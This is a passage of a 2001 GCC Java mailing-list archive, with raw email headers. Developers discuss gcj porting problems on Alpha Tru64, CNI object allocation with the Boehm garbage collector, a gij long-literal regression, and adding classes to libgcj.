-L/usr/users/ake/gcc18//lib/gcc-lib/alphaev56-dec-osf5.0/3.0.1/../../.. temp2.o temp5.o -lgcc -lc -lgcc -lgcj -lgcjgc -lzgcj -lc -liconv From java-return-6546-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 19 21:41:15 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28370 invoked by alias); 19 Jul 2001 21:41:15 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28313 invoked from network); 19 Jul 2001 21:41:12 -0000 Received: from unknown (HELO gemma.TechFak.Uni-Bielefeld.DE) (129.70.136.103) by sourceware.cygnus.com with SMTP; 19 Jul 2001 21:41:12 -0000 Received: from xayide.TechFak.Uni-Bielefeld.DE (xayide.TechFak.Uni-Bielefeld.DE [129.70.137.35]) by gemma.TechFak.Uni-Bielefeld.DE (8.9.1/8.9.1/TechFak/pk+ro20000427) with ESMTP id XAA07287; Thu, 19 Jul 2001 23:40:46 +0200 (MET DST) Received: by xayide.TechFak.Uni-Bielefeld.DE (8.10.2+Sun/pk19971205) id f6JLejk04934; Thu, 19 Jul 2001 23:40:45 +0200 (MEST) From: Rainer Orth Message-ID: <15191.21468.608945.498982@xayide.TechFak.Uni-Bielefeld.DE> Date: Thu, 19 Jul 2001 23:40:44 +0200 (MEST) To: Antonio Ake Cc: Andrew Haley , , Subject: Re: Update: Problem with Alpha OSF1 and mips-tfile In-Reply-To: References: <15189.42467.686609.676315@cuddles.cambridge.redhat.com> X-Mailer: VM 6.62 under Emacs 19.34.1 Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Antonio Ake writes: > I tested gcc, g++ and they are working. I saw a very similar problem in > this URL: > http://gcc.gnu.org/ml/gcc-patches/1999-08/msg00322.html Thanks alot for reminding me of this old patch of mine. I had just stumbled across numerous libjava testsuite failures with mips-tfile errors on Tru64 UNIX V5.1, but would probably have looked for bugs in mips-tfile at first. > I think I am having similar problem, the strange thing is that I have the > patch in my jvspec.c. While the patch is in, it got broken later by this one: http://gcc.gnu.org/ml/gcc-patches/1999-10n/msg00388.html The insertion of main after %u and %U breaks all platforms that use ASM_FINAL_SPEC, which refers to %g.s and knows nothing (and cannot/should not need to know) about %umain.s, i.e. a suffix `main.s'. There can go nothing between %[guU] and the suffix, since this breaks the ASM_FINAL_SPEC `protocol'. Right now I'm bootstrapping with this patch reverted (breaking -save-temps in the presence of --main again, but I hope this can be fixed later once we have an idea for a proper solution) to get Tru64 UNIX support running) and an additional patch to alpha/osf.h's ASM_FINAL_SPEC. I've a patch for the problem of collect2 passing -fencoding=UTF-8 to cc1 as well, so I hope Tru64 UNIX support will be in reasonable shape with those patches. Rainer ----------------------------------------------------------------------------- Rainer Orth, Faculty of Technology, Bielefeld University Email: ro@TechFak.Uni-Bielefeld.DE From java-return-6547-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 20 01:54:20 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 17065 invoked by alias); 20 Jul 2001 01:54:19 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 17017 invoked from network); 20 Jul 2001 01:54:15 -0000 Received: from unknown (HELO marcus.santafe.edu) (192.12.12.246) by sourceware.cygnus.com with SMTP; 20 Jul 2001 01:54:15 -0000 Received: (from mgd@localhost) by marcus.santafe.edu (8.10.2/8.10.2) id f6K1uc600439; Thu, 19 Jul 2001 19:56:38 -0600 (MDT) To: java@gcc.gnu.org Subject: CNI and garbage collection From: mgd@swarm.org (Marcus G. Daniels) Date: 19 Jul 2001 19:56:37 -0600 Message-ID: Lines: 18 User-Agent: Gnus/5.070084 (Pterodactyl Gnus v0.84) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I've got a Java class from which I generate headers using gcjh. I'm using the -prepend and -add features to insert declarations for ivars types, and then the ivars themselves. In a CNI native method I have some initialization code for setting up the C++ side of things. The problem seems to be that garbage collection is moving my Java object, but the ivars aren't following. I.e. if I disable garbage collection the program runs fine. In the CNI documentation, http://gcc.gnu.org/java/papers/cni/t1308.html it says that "The C++ compiler is smart enough to realize the class is a Java class, and hence it needs to allocate memory from the garbage collector." But what about the C++ objects inside of the Java object? Is there a special way to allocate them? From java-return-6548-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 20 02:30:23 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 31563 invoked by alias); 20 Jul 2001 02:30:21 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 31541 invoked from network); 20 Jul 2001 02:30:19 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 20 Jul 2001 02:30:19 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f6K2WOW32749; Fri, 20 Jul 2001 14:32:24 +1200 Message-ID: <3B57988F.432C31CC@waitaki.otago.ac.nz> Date: Fri, 20 Jul 2001 14:33:51 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: "Marcus G. Daniels" CC: java@gcc.gnu.org Subject: Re: CNI and garbage collection References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit "Marcus G. Daniels" wrote: > I've got a Java class from which I generate headers using gcjh. I'm > using the -prepend and -add features to insert declarations for ivars > types, and then the ivars themselves. In a CNI native method I have > some initialization code for setting up the C++ side of things. The > problem seems to be that garbage collection is moving my Java object, > but the ivars aren't following. I.e. if I disable garbage collection > the program runs fine. So, you're adding extra fields in the CNI header for a Java class? You can't do that. The size of the object as seen by the java compiler vs C++ will not match. "new" will be allocating space which is smaller than the real size of the object and C++ will be overwriting memory which does not belong to the object. It is probably just luck that it seems to work with the null GC. The Boehm GC never moves objects. > In the CNI documentation, > > http://gcc.gnu.org/java/papers/cni/t1308.html > > it says that "The C++ compiler is smart enough to realize the class is > a Java class, and hence it needs to allocate memory from the garbage > collector." > > But what about the C++ objects inside of the Java object? Is there a special > way to allocate them? Using "new" in C++ will use Java GC allocation (_Jv_AllocObject) if the class in question is a Java type (declared within an `extern "java"' block). For all other types, the regular C++ new implementation is used, which means you have to deallocate explicitly if you dont want memory leaks. So how to keep a pointer, associated with a given class or object, to your native object? One solution is to declare a field (in Java) of the type gnu.gcj.RawData. This class is treated specially by the garbage collector, and can be used for storing a pointer to some native, non-Java object. RawData fields will not be marked by the GC, so you need to dealocate them explicitly (perhaps from a finalizer). Alternatively, if you dont want to have to do the explicit dealocation, you can just create a special java.lang.Object field, and allocate your object using _Jv_AllocBytes. This way the GC will still mark your native data but will know not to expect a regular Java object. Note however that the memory allocated with _Jv_AllocBytes is not itself scanned for pointers, so you generally should not keep references to GC allocated objects in there. regards [ bryce ] From java-return-6549-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 20 02:33:34 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 867 invoked by alias); 20 Jul 2001 02:33:34 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 836 invoked from network); 20 Jul 2001 02:33:31 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 20 Jul 2001 02:33:31 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f6K2ZYW32761; Fri, 20 Jul 2001 14:35:34 +1200 Message-ID: <3B57994C.AEBB3885@waitaki.otago.ac.nz> Date: Fri, 20 Jul 2001 14:37:00 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: Antonio Ake CC: java@gcc.gnu.org Subject: Re: collect2 command References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Antonio Ake wrote: > I am not sure about my collect2 command, because when I > tried to add -non_shared. I recieved these errors: > /bin/ld: > Error: Undefined: > _Unwind_Resume > _Unwind_RaiseException > _Unwind_GetDataRelBase > _Unwind_GetRegionStart > _Unwind_GetTextRelBase > _Unwind_SetGR > _Unwind_SetIP > _Unwind_GetLanguageSpecificData > _Unwind_GetIP > isspace > collect2: ld returned 1 exit status > Are these messages normal with non_shared? > What libraries do I need to add? These are EH-related symbols which should be in libgcc. regards Bryce. From java-return-6550-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 20 02:34:30 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 1553 invoked by alias); 20 Jul 2001 02:34:30 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 1525 invoked from network); 20 Jul 2001 02:34:29 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 20 Jul 2001 02:34:29 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id WAA16933; Thu, 19 Jul 2001 22:37:41 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Thu, 19 Jul 2001 22:37:41 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: "Marcus G. Daniels" cc: java@gcc.gnu.org Subject: Re: CNI and garbage collection In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 19 Jul 2001, Marcus G. Daniels wrote: > The problem seems to be that garbage collection is moving my Java > object, but the ivars aren't following. Well, boehm-gc isn't a moving collector, but it is possible you have objects that are swept prematurely. If a C++ object contains references to Java objects, they won't be seen by the collector. > But what about the C++ objects inside of the Java object? Is there a special > way to allocate them? I don't know. You could try to override the "new" operator to place C++ objects where they will be traced. But that exposes details of the collector implementation, and could have other pitfalls when done together with libgcj. See boehm-gc/include/gc_cpp.h for more info. Jeff From java-return-6551-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 20 02:49:48 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 17598 invoked by alias); 20 Jul 2001 02:49:44 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 17533 invoked from network); 20 Jul 2001 02:49:38 -0000 Received: from unknown (HELO marcus.santafe.edu) (192.12.12.246) by sourceware.cygnus.com with SMTP; 20 Jul 2001 02:49:38 -0000 Received: (from mgd@localhost) by marcus.santafe.edu (8.10.2/8.10.2) id f6K2pw400541; Thu, 19 Jul 2001 20:51:58 -0600 (MDT) To: Bryce McKinlay , Jeff Sturm Cc: java@gcc.gnu.org Subject: Re: CNI and garbage collection References: <3B57988F.432C31CC@waitaki.otago.ac.nz> From: mgd@swarm.org (Marcus G. Daniels) Date: 19 Jul 2001 20:51:57 -0600 In-Reply-To: Bryce McKinlay's message of "Fri, 20 Jul 2001 14:33:51 +1200" Message-ID: Lines: 24 User-Agent: Gnus/5.070084 (Pterodactyl Gnus v0.84) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "BM" == Bryce McKinlay writes: BM> So how to keep a pointer, associated with a given class or object, BM> to your native object? One solution is to declare a field (in BM> Java) of the type gnu.gcj.RawData. This class is treated specially BM> by the garbage collector, and can be used for storing a pointer to BM> some native, non-Java object. RawData fields will not be marked by BM> the GC, so you need to dealocate them explicitly (perhaps from a BM> finalizer). Works like a charm. Thanks very much. MD> But what about the C++ objects inside of the Java object? Is MD> there a special way to allocate them? >>>>> "JS" == Jeff Sturm writes: JS> You could try to override the "new" operator to place C++ JS> objects where they will be traced. But that exposes details of the JS> collector implementation, and could have other pitfalls when done JS> together with libgcj. See boehm-gc/include/gc_cpp.h for more info. Cool, thanks for the pointer. (And to both of you for pointing out that Boehm GC doesn't move things!) From java-return-6552-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 20 06:01:13 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 2196 invoked by alias); 20 Jul 2001 06:01:12 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 1734 invoked from network); 20 Jul 2001 05:59:48 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 20 Jul 2001 05:59:48 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6K5xcW00777; Fri, 20 Jul 2001 00:59:38 -0500 (EST) Date: Fri, 20 Jul 2001 00:59:38 -0500 (EST) From: Antonio Ake To: Rainer Orth cc: Andrew Haley , , Subject: Re: Update: Problem with Alpha OSF1 and mips-tfile In-Reply-To: <15191.21468.608945.498982@xayide.TechFak.Uni-Bielefeld.DE> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Thanks a lot. I change the jvspec.c to your first patch and gcj is compiling helloworld in UNIX True64 v5.0 ALPHA, I will probably be testing gcj on this machine... These are the first problems found running gcj in this machine: 1. command: gcj --main=HelloWorld -o hello HelloWorld.java compiled without error messages. ./hello 515056:./hello: /sbin/loader: Error: Unresolved symbol in /usr/users/ake/gcc18/lib//libgcj.so: iconv_close 515056:./hello: /sbin/loader: Error: Unresolved symbol in /usr/users/ake/gcc18/lib//libgcj.so: iconv 515056:./hello: /sbin/loader: Error: Unresolved symbol in /usr/users/ake/gcc18/lib//libgcj.so: iconv_open 515056:./hello: /sbin/loader: Fatal Error: this executable has unresolvable symbols Workaround: gcj --main=HelloWorld -o hello HelloWorld.java -liconv Why is not linked by default -liconv? Where it could be the problem? 2. Problem I need to compile a static binary: Command: gcj --main=HelloWorld -o hello HelloWorld.java -liconv -static Error: Undefined: iconv_open iconv_close iconv collect2: ld returned 1 exit status I hope this problem is related with the first one, because I really need to work with static binaries. Regards From java-return-6553-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 20 15:19:09 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 24741 invoked by alias); 20 Jul 2001 15:19:09 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 24638 invoked from network); 20 Jul 2001 15:19:08 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 20 Jul 2001 15:19:08 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA21783; Fri, 20 Jul 2001 09:19:03 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id JAA29442; Fri, 20 Jul 2001 09:44:17 -0600 To: Antonio Ake Cc: Subject: Re: GNU linker and assembler on Alpha OSF1. References: X-Zippy: A KAISER ROLL?! What good is a Kaiser Roll without a little COLE SLAW on the SIDE? X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 20 Jul 2001 09:44:17 -0600 In-Reply-To: Antonio Ake's message of "Thu, 19 Jul 2001 00:20:29 -0500 (EST)" Message-ID: <873d7rehbi.fsf@creche.redhat.com> Lines: 14 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Antonio" == Antonio Ake writes: Antonio> I have tried to install binutils on ALPHA OSF1, but the GNU Antonio> assembler and linker are not installed. Other programs are Antonio> installed like: Antonio> ar,nm,ranlib,strip,addr2line,c++flit,gprof,objcopy,objdump,readelf,size,strings,strip Antonio> Do you know the reason? You'd have better luck asking this on the binutils list. Maybe gld and gas haven't been ported to that platform? Did configure tell you anything? It should say if it decides not to build something. Tom From java-return-6554-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 20 15:24:00 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 27485 invoked by alias); 20 Jul 2001 15:24:00 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 27407 invoked from network); 20 Jul 2001 15:23:54 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 20 Jul 2001 15:23:54 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6KFNkH03321; Fri, 20 Jul 2001 10:23:47 -0500 (EST) Date: Fri, 20 Jul 2001 10:23:46 -0500 (EST) From: Antonio Ake To: Tom Tromey cc: Subject: Re: GNU linker and assembler on Alpha OSF1. In-Reply-To: <873d7rehbi.fsf@creche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Thanks. I got response from Richard Henderson in the binutils mailing list, He told me that gnu ld is not supported in my Alpha. On 20 Jul 2001, Tom Tromey wrote: > >>>>> "Antonio" == Antonio Ake writes: > > Antonio> I have tried to install binutils on ALPHA OSF1, but the GNU > Antonio> assembler and linker are not installed. Other programs are > Antonio> installed like: > Antonio> ar,nm,ranlib,strip,addr2line,c++flit,gprof,objcopy,objdump,readelf,size,strings,strip > Antonio> Do you know the reason? > > You'd have better luck asking this on the binutils list. > Maybe gld and gas haven't been ported to that platform? > Did configure tell you anything? It should say if it decides not to > build something. > > Tom > From java-return-6555-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 21 13:51:41 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4531 invoked by alias); 21 Jul 2001 13:51:41 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4511 invoked from network); 21 Jul 2001 13:51:40 -0000 Received: from unknown (HELO pop1-rme.xtra.co.nz) (203.96.92.5) by sourceware.cygnus.com with SMTP; 21 Jul 2001 13:51:40 -0000 Received: from kiteless ([210.54.232.77]) by pop1-rme.xtra.co.nz with ESMTP id <20010721135938.WDDL6269962.pop1-rme.xtra.co.nz@kiteless>; Sun, 22 Jul 2001 01:59:38 +1200 Date: Sun, 22 Jul 2001 01:53:38 +1200 From: Bryce McKinlay Content-Type: text/plain; format=flowed; charset=us-ascii Subject: Re: Update: Problem with Alpha OSF1 and mips-tfile Cc: Rainer Orth , Andrew Haley , , To: Antonio Ake X-Mailer: Apple Mail (2.388) In-Reply-To: Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit Message-Id: <20010721135938.WDDL6269962.pop1-rme.xtra.co.nz@kiteless> On Friday, July 20, 2001, at 05:59 PM, Antonio Ake wrote: > 1. command: gcj --main=HelloWorld -o hello HelloWorld.java > compiled without error messages. > ./hello > 515056:./hello: /sbin/loader: Error: Unresolved symbol in > /usr/users/ake/gcc18/lib//libgcj.so: iconv_close > 515056:./hello: /sbin/loader: Error: Unresolved symbol in > /usr/users/ake/gcc18/lib//libgcj.so: iconv > 515056:./hello: /sbin/loader: Error: Unresolved symbol in > /usr/users/ake/gcc18/lib//libgcj.so: iconv_open > 515056:./hello: /sbin/loader: Fatal Error: this executable has > unresolvable symbols > Workaround: gcj --main=HelloWorld -o hello HelloWorld.java -liconv > Why is not linked by default -liconv? Where it could be the problem? The file libgcj.spec (generated from libjava/libgcj.spec.in) tells the compiler what arguments to use when linking a java application. I guess we need to modify the configure script to determine when -liconv is required and if so add it to the generated libgcj.spec. > 2. Problem > I need to compile a static binary: > Command: gcj --main=HelloWorld -o hello HelloWorld.java -liconv > -static > Error: Undefined: > iconv_open > iconv_close > iconv > collect2: ld returned 1 exit status > I hope this problem is related with the first one, because I really need > to work with static binaries. Order dependent? The -liconv may need to come before -lgcj. Try adding -liconv into your libgcj.spec file. regards Bryce. From java-return-6556-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 22 02:09:49 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 11751 invoked by alias); 22 Jul 2001 02:09:49 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 11731 invoked from network); 22 Jul 2001 02:09:48 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 22 Jul 2001 02:09:48 -0000 Received: from taarna.cygnus.com (taarna.cygnus.com [205.180.230.102]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id TAA02149 for ; Sat, 21 Jul 2001 19:09:48 -0700 (PDT) Received: (apbianco@localhost) by taarna.cygnus.com (SMI-8.6/8.6.4) id TAA15796; Sat, 21 Jul 2001 19:09:47 -0700 Date: Sat, 21 Jul 2001 19:09:47 -0700 Message-Id: <200107220209.TAA15796@taarna.cygnus.com> From: Alexandre Petit-Bianco To: java@gcc.gnu.org Subject: Gij regression? X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ Reply-to: apbianco@cygnus.com X-Zippy: I love ROCK 'N ROLL! I memorized all the WORDS to ``WIPE-OUT'' in 1965!! Out of a fresh build and on the test case below, gij outputs: 4611924758479503360 4611924758479503360 4611924758479503360 4611924758479503360 234 whereas the correct output is: 81985529216486895 -81985529216486896 -1110518062304271993 -8608480567731124088 234 (as delivered by compiling to native, to bytecode then native and to bytecode then executed with Sun's java.) Can anyone reproduce this? ./A class test_long { public static void main (String[] arg) { long a, b, c, d, e; e = 234L; d = 0x8888888888888888L; a = 0x0123456789ABCDEFL; b = 0xFEDCBA9876543210L; c = 0xF096A5B4C3B2E187L; System.out.println (a+" "+b+" "+c+" "+d+" "+e); } } From java-return-6557-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 22 02:46:04 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20932 invoked by alias); 22 Jul 2001 02:46:00 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20909 invoked from network); 22 Jul 2001 02:45:58 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 22 Jul 2001 02:45:58 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15O9Fk-00028h-00 for ; Sun, 22 Jul 2001 03:45:56 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Sun, 22 Jul 2001 03:48:16 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Sun, 22 Jul 2001 03:43:04 +0100 From: "Nic Ferrier" To: java@gcc.gnu.org Subject: Adding new classes Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Can someone give me a brief overview of how I add a class to GCJ's library implementation? I'm trying to add some of Mark Wielaard's 1.2 class loading stuff from Classpath. I need to add several new classes in several different places, at the moment the compiler is complaining about one of the new classes (java.lang.Package). I suspect this is because I haven't waved the dead chicken over the right parts of the config system. Nic From java-return-6558-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 22 10:10:53 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 25229 invoked by alias); 22 Jul 2001 10:10:52 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 25209 invoked from network); 22 Jul 2001 10:10:51 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sourceware.cygnus.com with SMTP; 22 Jul 2001 10:10:51 -0000 Received: from mark by nescio.wildebeest.org with local (Exim 3.22 #1 (Debian)) id 15OGBz-0002gh-00; Sun, 22 Jul 2001 12:10:31 +0200 Date: Sun, 22 Jul 2001 12:10:31 +0200 From: Mark Wielaard To: Nic Ferrier Cc: java@gcc.gnu.org Subject: Re: Adding new classes Message-ID: <20010722121031.A8075@klomp.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.18i Hi Nic, On Sun, Jul 22, 2001 at 03:43:04AM +0100, Nic Ferrier wrote: > Can someone give me a brief overview of how I add a class to GCJ's > library implementation? > > I'm trying to add some of Mark Wielaard's 1.2 class loading stuff > from Classpath. Yeah! > I need to add several new classes in several different places, at the > moment the compiler is complaining about one of the new classes > (java.lang.Package). > > I suspect this is because I haven't waved the dead chicken over the > right parts of the config system. In theory I know how to do this, but in practice I have also problems with adding the Throwable chained exceptions and StackTraceElement support. So I will tell you what I just did and what the errors are that I get by doing it that way. If you then tell me what you did and what errors you get we will have eliminated two (of the thirty thousand :) ways that we can do this wrong. What I did was get the 'magic' automake described in the HACKING file. Then I added the java/lang/StackTraceElement.java file in libjava and added a line with that filename to the 'core_java_source_files' list in Makefile.am file in that directory. And the run automake in the libjava directory. This creates a new Makefile.in file which can then be turned into a real Makefile by running configure. So far so good. After doing that I have a new libgcj installation that lets me play with StackTraceElement which works fine. But if I now try to use this new class in libgcj itself something goes wrong. Just adding a new field private ste StraceTraceElement to the class Throwable seems to blow up the make process. Since the generated Throwable.h file now includes a reference to the new ::java::lang::StackTraceElement that the compiler doesn't seem able to find. At this point I am a bit stuck. How far did you get? Cheers, Mark -- Stuff to read: What's Wrong with Copy Protection, by John Gilmore From java-return-6559-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 22 10:19:41 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 26746 invoked by alias); 22 Jul 2001 10:19:40 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 26726 invoked from network); 22 Jul 2001 10:19:39 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sourceware.cygnus.com with SMTP; 22 Jul 2001 10:19:39 -0000 Received: from mark by nescio.wildebeest.org with local (Exim 3.22 #1 (Debian)) id 15OGKb-0002hP-00; Sun, 22 Jul 2001 12:19:25 +0200 Date: Sun, 22 Jul 2001 12:19:25 +0200 From: Mark Wielaard To: Nic Ferrier Cc: java@gcc.gnu.org Subject: Re: Adding new classes Message-ID: <20010722121925.B8075@klomp.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.18i Hi, On Sun, Jul 22, 2001 at 03:43:04AM +0100, Nic Ferrier wrote: > I need to add several new classes in several different places, at the > moment the compiler is complaining about one of the new classes > (java.lang.Package). I just saw that Bryce already added java/lang/Package.java to the main branch, are you working on the 3.0.x branch? So I looked at how he did that and saw that he also had to add Package to the ::java::lang namespace in the file gcj/javaprims.h. The ChangeLog comment 'Rebuild CNI namespace' seems to imply that this can be done by some automatic process, but I don't know what that process is. I don't have time to test it out, but this seems to be the way to solve my own problem with adding java/lang/StackTraceElement.java. Hopefully it will also help you. Cheers, Mark -- Stuff to read: What's Wrong with Copy Protection, by John Gilmore From java-return-6560-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 22 16:03:14 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 9269 invoked by alias); 22 Jul 2001 16:03:13 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 9234 invoked from network); 22 Jul 2001 16:03:11 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 22 Jul 2001 16:03:11 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA10326; Sun, 22 Jul 2001 10:02:18 -0600 